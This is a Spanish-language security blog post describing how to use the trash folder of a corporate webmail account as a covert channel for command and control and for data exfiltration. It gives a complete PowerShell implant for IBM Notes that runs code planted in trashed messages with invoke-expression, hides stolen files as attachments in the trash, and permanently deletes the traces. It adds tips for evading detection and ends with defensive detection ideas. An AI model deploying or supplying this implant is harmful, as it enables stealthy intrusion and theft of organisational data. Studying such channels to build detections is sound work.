Supongamos una organización que cuenta con unas medidas de seguridad básicas: las estaciones de trabajo no pueden realizar conexiones directas a Internet, tan sólo pudiendo llevar a cabo peticiones web a través de un servidor proxy, que además es el único que puede realizar peticiones DNS externas.
Tanto el tráfico HTTP como el tráfico DNS generado por este servidor proxy son debidamente monitorizados, y además el proxy “rompe” HTTPS, por lo que también serían detectables técnicas como domain fronting. Sólo son accesibles unos pocos sitios web incluidos en la lista blanca.
La mayor parte de servidores internos tienen bloqueado su acceso a Internet, y no hay (casi) ningún servicio expuesto: todas las páginas web, blogs, etc. de la organización están hospedados en (por ejemplo) la nube de Google, y sólo un webmaster puede acceder desde un puesto aislado a los paneles de control para actualizar contenidos, así como a las correspondientes cuentas corporativas en redes sociales.
En un escenario como el anterior, donde canales típicos de mando y control y exfiltración como el tráfico web o el tráfico DNS no parecen factibles, podemos tratar de utilizar otro canal totalmente low tech (y un tanto lame :-) en realidad): el webmail corporativo.
Para bien o (en nuestro ejemplo) para mal, el acceso ágil al correo electrónico sigue siendo una necesidad básica en cualquier organización actual, por lo que pese a todas las medidas de seguridad mencionadas, es probable que el correo sea accesible tanto desde puestos de trabajo internos (normalmente a través de un cliente “pesado”, tipo IBM Notes o Microsoft Outlook) como desde dispositivos “varios” externos situados en Internet: teléfonos corporativos y tabletas (utilizando la correspondiente app), navegadores web de portátiles corporativos (utilizando el típico webmail, como IBM iNotes o Microsoft OWA), etc.
En muchas ocasiones, este servicio de webmail está expuesto a Internet sin contar con medidas de seguridad como autenticación de doble factor (2FA), y sin tener delante un concentrador VPN. Muchas app para dispositivos móviles ni siquiera utilizan mecanismos de autenticación como OAuth o “contraseñas de aplicación”, sino que directamente pueden configurarse utilizando el usuario y contraseña del usuario.
Por lo tanto, si conseguimos (por ejemplo a través de un spear phishing o un dump o leak al que hayamos tenido acceso) unas credenciales (usuario y contraseña) válidas que nos permitan iniciar sesión en el webmail corporativo desde Internet, y logramos contaminar un puesto con un sencillo malware, tenemos dispuesto el canal: para el C&C de nuestro malware, podemos dejar, por ejemplo, mensajes con cierto formato en la “papelera” del webmail; el malware rescatará estos mensajes y ejecutará nuestras órdenes. Para la exfiltración, podemos proceder de forma similar: el malware dejará los documentos robados en la papelera (con cifrado, sin cifrado, utilizando esteganografía… cuanto más azúcar más dulce), y podremos recuperarlos desde Internet utilizando del mismo modo el webmail, borrándolos sin dejar rastro una vez recuperados de la “papelera”.
Pese a la sencillez de la técnica, todo el tráfico que genera este canal asíncrono de C&C y exfiltración es bastante complicado de distinguir del tráfico legítimo. Si por ejemplo el usuario del puesto termina su jornada laboral a las 19:00, el malware puede copiar la información robada a la “papelera” a las 18:30 (difícil de distinguir de un acceso habitual con el cliente de correo desde dentro de la oficina), recuperándola desde el webmail (o a través de la correspondiente API para dispositivos móviles) a las 20:30 (de nuevo, no trivial de diferenciar de un acceso al correo desde casa o desde la aplicación de correo del móvil corporativo).
Puesto que realmente no se está enviando ningún tipo de mensaje de correo electrónico hacia direcciones externas, sino que se trata de mensajes “auto enviados” o inyectados de forma “local” al sistema de correo directamente en las carpetas que convengan, la técnica tampoco es detectable analizando el tráfico SMTP de entrada/salida de la organización (de un modo similar al caso de las células terroristas que se comunican con un buzón muerto en la carpeta “borradores” de una cuenta de correo compartida).
“Bonus extra” para dificultar la detección: ejecutar el malware sólo cuando el cliente de correo se encuentra en ejecución en el puesto (o directamente inyectar el propio malware en el código del cliente de correo), conectarnos al webmail tan sólo desde direcciones IP locales sin mala reputación, preferiblemente utilizando el mismo operador de telefonía móvil que la organización objetivo, y con los mismos tipos de terminales, sistemas operativos o navegadores web utilizados habitualmente, etc.
Una pequeña prueba de concepto
Veremos a continuación cómo implementar una pequeña prueba de concepto de la técnica para una organización que utiliza IBM Notes (aka Lotus Notes). Para el acceso interno, los empleados suelen emplear el cliente “pesado” de Notes, y para el externo (desde Internet), el paquete IBM iNotes, que proporciona acceso por webmail y para la app móvil IBM Verse.
Afortunadamente (y lo mismo ocurre en el caso de otras tecnologías análogas como Microsoft Exchange/OWA/Outlook), el fabricante (en este caso IBM) proporciona una API para controlar de forma programática el cliente de Notes. Entre otros, la aplicación expone un componente COM llamado Notes.NotesSession, que podremos utilizar desde cualquier lenguaje de nuestra elección. Para la prueba de concepto utilizaremos PowerShell.
El pequeño implante que podremos controlar de forma sigilosa desde el webmail de la organización consistirá por lo tanto en un sencillo script en PowerShell cuya ejecución periódica podemos implementar en el puesto contaminado con tareas programadas, WMI, u otros métodos más sofisticados.
Sólo utilizaremos el componente COM cuando en el puesto se esté ejecutando el cliente de Notes, ya que si no la utilización del mismo lo lanzará y estro podría hacer sospechar al usuario:
$running = get-process nlnotes -erroraction silentlycontinue
if ($running -eq $null) { exit }
A continuación, instanciamos el componente COM y abrimos la base de datos y servidores por defecto configurados en el cliente de Notes:
$notes = New-Object -ComObject Notes.NotesSession
$db = $notes.getdatabase("", "")
if (!$db.isopen()) {
$db.openmail()
}
El siguiente paso consiste en definir una función Exfiltrate(), que será la utilizada para almacenar la información a exfiltrar adjuntándola a mensajes que ocultaremos en la papelera del correo del usuario:
function Exfiltrate($path) {
$doc = $db.createdocument()
$richText = $doc.createrichtextitem("Attachment")
$richText.embedobject(1454, "", $path, "Attachment")
$doc.save($true, $false, $true);
$doc.remove($true)
}
Como se observa, creamos un nuevo documento en la base de datos instanciada antes ($db.createdocument()), adjuntamos el fichero tomado como primer parámetro, y salvamos el documento ($doc.save()). Por último, al invocar el método remove(), el documento recién generado se moverá a la papelera. Si no realizamos esta última llamada, el documento no se almacenaría en el buzón de entrada del usuario, sino en un espacio “indeterminado”, y sólo sería visible si se selecciona la carpeta virtual “todos los documentos”, por lo que también sería una buena opción para camuflarse. Por último, el implante ejecuta el siguiente código:
$trash = $db.getview("`$SoftDeletions")
$doc = $trash.getfirstdocument()
while ($doc -ne $null) {
$subj = $doc.getitemvalue("Subject")
if ($subj -eq "powershell") {
$code = $doc.getitemvalue("Body")
invoke-expression $code[0]
$doc.removepermanently($true)
break
}
$doc = $trash.getnextdocument($doc)
}
En primer lugar, abrimos la vista $SoftDeletions de la base de datos de correo de Notes. Así es como Notes llama a la “papelera”. Una vez abierta la vista, iteramos, empezando por el primero ($trash.getfirstdocument()), sobre todos los documentos presentes en la papelera, y si el campo “asunto” es la cadena “powershell”, evaluamos directamente lo que haya en el cuerpo del email. Una vez hemos “consumido” este payload en PowerShell, borramos definitivamente de la “paperlera” el documento ($doc.removepermanently()) y terminamos nuestra ejecución.
¿Cómo se operaría esta pequeña prueba de concepto? Pues una vez obtenido el usuario y contraseña válidos de una cuenta accesible por webmail e inyectado el anterior implante sobre alguno de los puestos de la organización, el atacante inicia sesión en el webmail desde Internet y autoenvía al buzón del usuario un mensaje con asunto “powershell” y cuerpo, por ejemplo:
A continuación, lo elimina, de forma que quede almacenado en la “papelera” del usuario:
La próxima vez que se ejecute el implante en el puesto contaminado, recuperará los mensajes de la papelera, se detenderá en el que acabamos de crear, y pasará a evaluar el PowerShell presente en el cuerpo del mensaje. Esto tomará un listado de procesos en el equipo, lo almacenará en el fichero c:\windows\temp\ps.txt, y a continuación exfiltrará, a través del propio webmail, dicho fichero con el listado.
Efectivamente, si el atacante inicia más tarde sesión en el webmail, simulando un acceso legítimo del usuario desde casa para revisar el correo, podrá recuperar la información exfiltrada de la “papelera” del buzón:
Como se observa, hay un mensaje (sin campo “from”, ni “subject”, aunque estos campos pueden rellenarse si se considera que de esta forma pasarían más desapercibidos) que contiene un adjunto, que es precisamente el fichero ps.txt con el listado de procesos:
Por lo tanto, el atacante no tiene más que descargar este fichero y eliminar definitivamente de la papelera el mensaje generado por el implante.
El script PowerShell completo queda de la siguiente forma:
$running = get-process nlnotes -erroraction silentlycontinue
if ($running -eq $null) { exit }
$notes = New-Object -ComObject Notes.NotesSession
$db = $notes.getdatabase("", "")
if (!$db.isopen()) {
$db.openmail()
}
function Exfiltrate($path) {
$doc = $db.createdocument()
$richText = $doc.createrichtextitem("Attachment")
$richText.embedobject(1454, "", $path, "Attachment")
$doc.save($true, $false, $true);
$doc.remove($true)
}
$trash = $db.getview("`$SoftDeletions")
$doc = $trash.getfirstdocument()
while ($doc -ne $null) {
$subj = $doc.getitemvalue("Subject")
if ($subj -eq "powershell") {
$code = $doc.getitemvalue("Body")
invoke-expression $code[0]
$doc.removepermanently($true)
break
}
$doc = $trash.getnextdocument($doc)
}
Si la organización objetivo utiliza otras tecnologías, como por ejemplo las de Microsoft (Exchange/Outlook/OWA), se podrían reutilizar directamente los cmdlets proporcionados por Microsoft para manipulación de mensajes, buzones, carpetas, etc. para programar el malware.
Algunas ideas para la detección
Como hemos podido comprobar, se trata de una técnica sencilla pero que resulta efectiva si el equipo de defensa no monitoriza los buzones y el acceso a los mismos. Algunas formas de tratar de detectar y/o mitigar este tipo de canales podrían ser:
- Implantar 2FA en el webmail corporativo.
- Monitorizar los buzones en busca de artefactos “extraños”, como código PowerShell ;-), información probablemente exfiltrada, adjuntos cifrados o ininteligibles, carpetas o buzones no estándar o con atributos de “oculto”, etc.
- Detección de patrones anómalos de uso de carpeta estándar, como la de la “papelera”: ¿es normal que se generen mensajes de según qué formas, o que crezcan o que se eliminen mensajes individuales directamente de las mismas?
- Detectar conexiones al webmail desde otros países, nodos de salida de Tor o VPN, direcciones IP de baja reputación.
- Detectar accesos mediante una app móvil desde direcciones IP distintas de las normalmente utilizadas por el operador de telefonía móvil contratado por la organización.
- Detectar más de un cliente conectado con las mismas credenciales de un usuario: por ejemplo, dos sesiones simultáneas contra el webmail desde direcciones IP diferentes.
- Acceso al webmail desde navegadores que no son los habitualmente utilizados por el usuario de esa cuenta.
- Vigilancia de “autoenvíos”: mensajes que en apariencia un usuario se envía a sí mismo.
- Acceso a la cuenta de correo de un usuario desde el equipo que normalmente utiliza otro usuario.
- Demás patrones de acceso anómalos…
- …y un largo etcétera…
Esperamos que el post haya sido de vuestro interés.
¡Un saludo!
Pablo
